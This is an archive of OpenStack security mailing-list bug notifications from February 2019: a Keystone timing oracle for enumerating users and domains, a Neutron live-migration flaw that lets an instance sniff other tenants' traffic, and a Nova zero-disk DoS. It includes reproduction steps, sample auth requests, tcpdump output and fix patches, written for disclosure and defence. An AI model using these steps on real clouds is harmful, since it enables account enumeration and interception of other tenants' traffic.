From 1795800 at bugs.launchpad.net Mon Feb 4 22:43:55 2019 From: 1795800 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 04 Feb 2019 22:43:55 -0000 Subject: [Openstack-security] [Bug 1795800] Fix proposed to keystone (master) References: <153854884921.22301.15072922945681177517.malonedeb@gac.canonical.com> Message-ID: <154932023521.20021.733838694305004778.malone@wampee.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/634826 -- You received this bug notification because you are a member of OpenStack Security SIG, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1795800 Title: Timing oracle in core auth plugin simplifies brute-forcing usernames Status in OpenStack Identity (keystone): In Progress Status in OpenStack Security Advisory: Won't Fix Bug description: The response times for POST /v3/auth/tokens are significantly higher for valid usernames compared to those of invalid ones, making it possible to enumerate users on the system. Examples: # For invalid username + Request POST /v3/auth/tokens HTTP/1.1 Host: hostname:5000 Connection: close Content-Length: 141 Content-Type: application/json { "auth":{ "identity":{ "methods":[ "password" ], "password":{ "user":{ "name":"nonexisting", "domain":{ "name":"Default" }, "password":"devstacker" } } } } } + Response Time: <150ms # For valid username ('admin' in this case) + Request POST /v3/auth/tokens HTTP/1.1 Host: hostname:5000 Connection: close Content-Length: 139 Content-Type: application/json { "auth":{ "identity":{ "methods":[ "password" ], "password":{ "user":{ "name":"admin", "domain":{ "name":"Default" }, "password":"devstacker" } } } } } + Response time: >600ms # Tested version v3.8 [UPDATE 3 Oct 2018 5:01 AEST] Looks like it's also possible to enumerate for valid "domain" too. There're 2 ways that I can see: * With valid username: use the above user enum bug to guess the valid username, then brute the "domain" parameter. Response times are significantly higher for valid compared to invalid domains. * Without valid username: get a baseline response time using invalid username AND invalid domain name. Bruteforce the "domain" param until the response time hits an average high. For me invalid domain falls in the 90-100ms range whereas valid ones show 100+ms. This one looks a bit more obscure i.e. timing difference is not as distinguishable, but should still be recognizable with a good sample size. To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1795800/+subscriptions From 1653626 at bugs.launchpad.net Tue Feb 5 21:45:15 2019 From: 1653626 at bugs.launchpad.net (Eric Harney) Date: Tue, 05 Feb 2019 21:45:15 -0000 Subject: [Openstack-security] [Bug 1653626] Re: IBM User tries to communicate with CoprHD securely, but fails to do so References: <20170103081148.1756.73437.malonedeb@chaenomeles.canonical.com> Message-ID: <154940311867.19020.2091776992368486881.launchpad@soybean.canonical.com> ** Changed in: cinder Status: In Progress => Invalid -- You received this bug notification because you are a member of OpenStack Security SIG, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1653626 Title: IBM User tries to communicate with CoprHD securely, but fails to do so Status in Cinder: Invalid Bug description: An IBM user wanted to communicate with our backend CoprHD driver using certificate. But right now, there is not provision to do so. CoprHD should provide an option in config to perform all operations (REST API calls) using certificate verification. Both CA signed and self-signed certificates should be supported. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1653626/+subscriptions From 1734320 at bugs.launchpad.net Wed Feb 6 01:26:11 2019 From: 1734320 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 06 Feb 2019 01:26:11 -0000 Subject: [Openstack-security] [Bug 1734320] Related fix proposed to neutron (master) References: <151152217834.14483.1577991310209811902.malonedeb@soybean.canonical.com> Message-ID: <154941637142.21663.4723748486438914836.malone@chaenomeles.canonical.com> Related fix proposed to branch: master Review: https://review.openstack.org/635083 -- You received this bug notification because you are a member of OpenStack Security SIG, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1734320 Title: Eavesdropping private traffic Status in neutron: Fix Committed Status in OpenStack Compute (nova): In Progress Status in os-vif: Fix Released Status in OpenStack Security Advisory: Won't Fix Bug description: Eavesdropping private traffic ============================= Abstract -------- We've discovered a security issue that allows end users within their own private network to receive from, and send traffic to, other private networks on the same compute node. Description ----------- During live-migration there is a small time window where the ports of instances are untagged. Instances have a port trunked to the integration bridge and receive 802.1Q tagged private traffic from other tenants. If the port is administratively down during live migration, the port will remain in trunk mode indefinitely. Traffic is possible between ports is that are administratively down, even between tenants self-service networks. Conditions ---------- The following conditions are necessary. * Openvswitch Self-service networks * An Openstack administrator or an automated process needs to schedule a Live migration We tested this on newton. Issues ------ This outcome is the result of multiple independent issues. We will list the most important first, and follow with bugs that create a fragile situation. Issue #1 Initially creating a trunk port When the port is initially created, it is in trunk mode. This creates a fail-open situation. See: https://github.com/openstack/os-vif/blob/newton-eol/vif_plug_ovs/linux_net.py#L52 Recommendation: create ports in the port_dead state, don't leave it dangling in trunk-mode. Add a drop-flow initially. Issue #2 Order of creation. The instance is actually migrated before the (networking) configuration is completed. Recommendation: wait with finishing the live migration until the underlying configuration has been applied completely. Issue #3 Not closing the port when it is down. Neutron calls the port_dead function to ensure the port is down. It sets the tag to 4095 and adds a "drop" flow if (and only if) there is already another tag on the port. The port_dead function will keep untagged ports untagged. https://github.com/openstack/neutron/blob/stable/newton/neutron/plugins/ml2/drivers/openvswitch/agent/ovs_neutron_agent.py#L995 Recommendation: Make port_dead also shut the port if no tag is found. Log a warning if this happens. Issue #4 Putting the port administratively down actually puts the port on a compute node shared vlan Instances from different projects on different private networks can talk to each other if they put their ports down. The code does install an openflow "drop" rule but it has a lower priority (2) than the allow rules. Recommendation: Increase the port_dead openflow drop rule priority to MAX Timeline --------  2017-09-14 Discovery eavesdropping issue  2017-09-15 Verify workaround.  2017-10-04 Discovery port-down-traffic issue  2017-11-24 Vendor Disclosure to Openstack Steps to reproduce ------------------ 1. Attach an instance to two networks: admin$ openstack server create --nic net-id= --nic net-id = --image --flavor instance_temp 2. Attach a FIP to the instance to be able to log in to this instance 3. Verify: admin$ openstack server show -c name -c addresses fe28a2ee-098f-4425 -9d3c-8e2cd383547d +-----------+-----------------------------------------------------------------------------+ | Field | Value | +-----------+-----------------------------------------------------------------------------+ | addresses | network1=192.168.99.8, ; network2=192.168.80.14 | | name | instance_temp | +-----------+-----------------------------------------------------------------------------+ 4. Ssh to the instance using network1 and run a tcpdump on the other port network2 [root at instance_temp]$ tcpdump -eeenni eth1 5. Get port-id of network2 admin$ nova interface-list fe28a2ee-098f-4425-9d3c-8e2cd383547d +------------+--------------------------------------+--------------------------------------+---------------+-------------------+ | Port State | Port ID | Net ID | IP addresses | MAC Addr | +------------+--------------------------------------+--------------------------------------+---------------+-------------------+ | ACTIVE | a848520b-0814-4030-bb48-49e4b5cf8160 | d69028f7-9558-4f14-8ce6-29cb8f1c19cd | 192.168.80.14 | fa:16:3e:2d:8b:7b | | ACTIVE | fad148ca-cf7a-4839-aac3-a2cd8d1d2260 | d22c22ae-0a42-4e3b-8144-f28534c3439a | 192.168.99.8 | fa:16:3e:60:2c:fa | +------------+--------------------------------------+--------------------------------------+---------------+-------------------+ 6. Force port down on network 2 admin$ neutron port-update a848520b-0814-4030-bb48-49e4b5cf8160 --admin-state-up False 7. Port gets tagged with vlan 4095, the dead vlan tag, which is normal: compute1# grep a848520b-0814-4030-bb48-49e4b5cf8160 /var/log/neutron/neutron-openvswitch-agent.log | tail -1 INFO neutron.plugins.ml2.drivers.openvswitch.agent.ovs_neutron_agent [req-e008feb3-8a35-4c97-adac-b48ff88165b2 - - - - -] VIF port: a848520b-0814-4030-bb48-49e4b5cf8160 admin state up disabled, putting on the dead VLAN 8. Verify the port is tagged with vlan 4095 compute1# ovs-vsctl show | grep -A3 qvoa848520b-08       Port "qvoa848520b-08"           tag: 4095           Interface "qvoa848520b-08" 9. Now live-migrate the instance: admin# nova live-migration fe28a2ee-098f-4425-9d3c-8e2cd383547d 10. Verify the tag is gone on compute2, and take a deep breath compute2# ovs-vsctl show | grep -A3 qvoa848520b-08       Port "qvoa848520b-08"           Interface "qvoa848520b-08"       Port... compute2# echo "Wut!" 11. Now traffic of all other self-service networks present on compute2 can be sniffed from instance_temp [root at instance_temp] tcpdump -eenni eth1 13:14:31.748266 fa:16:3e:6a:17:38 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 10, p 0, ethertype ARP, Request who-has 10.103.12.160 tell 10.103.12.152, length 28 13:14:31.804573 fa:16:3e:e8:a2:d2 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.70, length 28 13:14:31.810482 fa:16:3e:95:ca:3a > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.154, length 28 13:14:31.977820 fa:16:3e:6f:f4:9b > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.150, length 28 13:14:31.979590 fa:16:3e:0f:3d:cc > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 9, p 0, ethertype ARP, Request who-has 10.103.9.163 tell 10.103.9.1, length 28 13:14:32.048082 fa:16:3e:65:64:38 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.101, length 28 13:14:32.127400 fa:16:3e:30:cb:b5 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 10, p 0, ethertype ARP, Request who-has 10.103.12.160 tell 10.103.12.165, length 28 13:14:32.141982 fa:16:3e:96:cd:b0 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.100, length 28 13:14:32.205327 fa:16:3e:a2:0b:76 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.153, length 28 13:14:32.444142 fa:16:3e:1f:db:ed > 01:00:5e:00:00:12, ethertype 802.1Q (0x8100), length 58: vlan 72, p 0, ethertype IPv4, 192.168.99.212 > 224.0.0.18: VRRPv2, Advertisement, vrid 50, prio 103, authtype none, intvl 1s, length 20 13:14:32.449497 fa:16:3e:1c:24:c0 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.20, length 28 13:14:32.476015 fa:16:3e:f2:3b:97 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.22, length 28 13:14:32.575034 fa:16:3e:44:fe:35 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 10, p 0, ethertype ARP, Request who-has 10.103.12.160 tell 10.103.12.163, length 28 13:14:32.676185 fa:16:3e:1e:92:d7 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 10, p 0, ethertype ARP, Request who-has 10.103.12.160 tell 10.103.12.150, length 28 13:14:32.711755 fa:16:3e:99:6c:c8 > 01:00:5e:00:00:12, ethertype 802.1Q (0x8100), length 62: vlan 10, p 0, ethertype IPv4, 10.103.12.154 > 224.0.0.18: VRRPv2, Advertisement, vrid 2, prio 49, authtype simple, intvl 1s, length 24 13:14:32.711773 fa:16:3e:f5:23:d5 > 01:00:5e:00:00:12, ethertype 802.1Q (0x8100), length 58: vlan 12, p 0, ethertype IPv4, 10.103.15.154 > 224.0.0.18: VRRPv2, Advertisement, vrid 1, prio 49, authtype simple, intvl 1s, length 20 Workaround ---------- We temporary fixed this issue by forcing the dead vlan tag on port creation on compute nodes: /usr/lib/python2.7/site-packages/vif_plug_ovs/linux_net.py: def _create_ovs_vif_cmd(bridge, dev, iface_id, mac,                         instance_id, interface_type=None,                         vhost_server_path=None): + # ODCN: initialize port as dead + # ODCN: TODO: set drop flow     cmd = ['--', '--if-exists', 'del-port', dev, '--',             'add-port', bridge, dev, + 'tag=4095',             '--', 'set', 'Interface', dev,             'external-ids:iface-id=%s' % iface_id,             'external-ids:iface-status=active',             'external-ids:attached-mac=%s' % mac,             'external-ids:vm-uuid=%s' % instance_id]     if interface_type:         cmd += ['type=%s' % interface_type]     if vhost_server_path:         cmd += ['options:vhost-server-path=%s' % vhost_server_path]     return cmd https://github.com/openstack/neutron/blob/stable/newton/neutron/plugins/ml2/drivers/openvswitch/agent/ovs_neutron_agent.py#L995     def port_dead(self, port, log_errors=True):         '''Once a port has no binding, put it on the "dead vlan".         :param port: an ovs_lib.VifPort object.         '''         # Don't kill a port if it's already dead         cur_tag = self.int_br.db_get_val("Port", port.port_name, "tag",                                          log_errors=log_errors) + # ODCN GM 20170915 + if not cur_tag: + LOG.error('port_dead(): port %s has no tag', port.port_name) + # ODCN AJS 20170915 + if not cur_tag or cur_tag != constants.DEAD_VLAN_TAG: - if cur_tag and cur_tag != constants.DEAD_VLAN_TAG:            LOG.info('port_dead(): put port %s on dead vlan', port.port_name)            self.int_br.set_db_attribute("Port", port.port_name, "tag",                                          constants.DEAD_VLAN_TAG,                                          log_errors=log_errors)             self.int_br.drop_port(in_port=port.ofport) plugins/ml2/drivers/openvswitch/agent/openflow/ovs_ofctl/ovs_bridge.py     def drop_port(self, in_port): + # ODCN AJS 20171004: - self.install_drop(priority=2, in_port=in_port) + self.install_drop(priority=65535, in_port=in_port) Regards, ODC Noord. Gerhard Muntingh Albert Siersema Paul Peereboom To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1734320/+subscriptions From 1795800 at bugs.launchpad.net Thu Feb 14 17:26:39 2019 From: 1795800 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 14 Feb 2019 17:26:39 -0000 Subject: [Openstack-security] [Bug 1795800] Change abandoned on keystone (master) References: <153854884921.22301.15072922945681177517.malonedeb@gac.canonical.com> Message-ID: <155016519998.3460.10342191964958605332.malone@wampee.canonical.com> Change abandoned by Gage Hugo (gagehugo at gmail.com) on branch: master Review: https://review.openstack.org/625699 Reason: Replaced by https://review.openstack.org/#/c/634826/ -- You received this bug notification because you are a member of OpenStack Security SIG, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1795800 Title: Timing oracle in core auth plugin simplifies brute-forcing usernames Status in OpenStack Identity (keystone): In Progress Status in OpenStack Security Advisory: Won't Fix Bug description: The response times for POST /v3/auth/tokens are significantly higher for valid usernames compared to those of invalid ones, making it possible to enumerate users on the system. Examples: # For invalid username + Request POST /v3/auth/tokens HTTP/1.1 Host: hostname:5000 Connection: close Content-Length: 141 Content-Type: application/json { "auth":{ "identity":{ "methods":[ "password" ], "password":{ "user":{ "name":"nonexisting", "domain":{ "name":"Default" }, "password":"devstacker" } } } } } + Response Time: <150ms # For valid username ('admin' in this case) + Request POST /v3/auth/tokens HTTP/1.1 Host: hostname:5000 Connection: close Content-Length: 139 Content-Type: application/json { "auth":{ "identity":{ "methods":[ "password" ], "password":{ "user":{ "name":"admin", "domain":{ "name":"Default" }, "password":"devstacker" } } } } } + Response time: >600ms # Tested version v3.8 [UPDATE 3 Oct 2018 5:01 AEST] Looks like it's also possible to enumerate for valid "domain" too. There're 2 ways that I can see: * With valid username: use the above user enum bug to guess the valid username, then brute the "domain" parameter. Response times are significantly higher for valid compared to invalid domains. * Without valid username: get a baseline response time using invalid username AND invalid domain name. Bruteforce the "domain" param until the response time hits an average high. For me invalid domain falls in the 90-100ms range whereas valid ones show 100+ms. This one looks a bit more obscure i.e. timing difference is not as distinguishable, but should still be recognizable with a good sample size. To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1795800/+subscriptions From 1739646 at bugs.launchpad.net Fri Feb 15 02:18:12 2019 From: 1739646 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 15 Feb 2019 02:18:12 -0000 Subject: [Openstack-security] [Bug 1739646] Related fix merged to nova (master) References: <151387701431.11131.16472149525534236557.malonedeb@gac.canonical.com> Message-ID: <155019709233.405.12605271740419787775.malone@gac.canonical.com> Reviewed: https://review.openstack.org/603910 Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=c8e65a5eb11515cfe70f8e6850b842cd594af6a5 Submitter: Zuul Branch: master commit c8e65a5eb11515cfe70f8e6850b842cd594af6a5 Author: Mohammed Naser Date: Wed Sep 19 16:58:32 2018 -0400 Default zero disk flavor to RULE_ADMIN_API in Stein The policy to allow booting instances without a volume when root_gb is set to 0 was to be set to default to admin-only in Stein. Depends-On: I537c299b0cd400982189f35b31df74755422737e Co-Authored-By: Matt Riedemann Related-Bug: #1739646 Change-Id: I247402b6c4ff8a7cb71ef247a218478194d68ff8 -- You received this bug notification because you are a member of OpenStack Security SIG, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1739646 Title: Instance type with disk set to 0 can cause DoS Status in OpenStack Compute (nova): Fix Released Status in OpenStack Compute (nova) ocata series: Fix Committed Status in OpenStack Compute (nova) pike series: Fix Committed Status in OpenStack Compute (nova) queens series: Fix Committed Status in OpenStack Security Advisory: Won't Fix Status in OpenStack Security Notes: New Bug description: In OpenStack at the moment, there is the ability to create instance types with disk size 0. The API documentation states the following: "The size of the root disk that will be created in GiB. If 0 the root disk will be set to exactly the size of the image used to deploy the instance. However, in this case filter scheduler cannot select the compute host based on the virtual image size. Therefore, 0 should only be used for volume booted instances or for testing purposes." In a cloud environment where a deployer wants to offer boot-from- volume instances, those instance types will be there. However, this means that a user can upload an image of 4TB and boot small instances where each one will have 4TB of storage, potentially exhausting the disks local storage (or Ceph cluster if using Ceph for ephemeral storage). I'm not sure if this is a security issue or it should be published as an advisory, but I believe there should be an option to disable the feature of booting an instance with the exact size of the image used so deployers have the ability/choice to provide boot-from-volume instance types. I can confirm this in our environment that if a customer creates an instance with 200GB of ephemeral disk space, they can take an image of it, then create an instance with that image on an instance type that has no ephemeral disk space and get 200GB of disk. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1739646/+subscriptions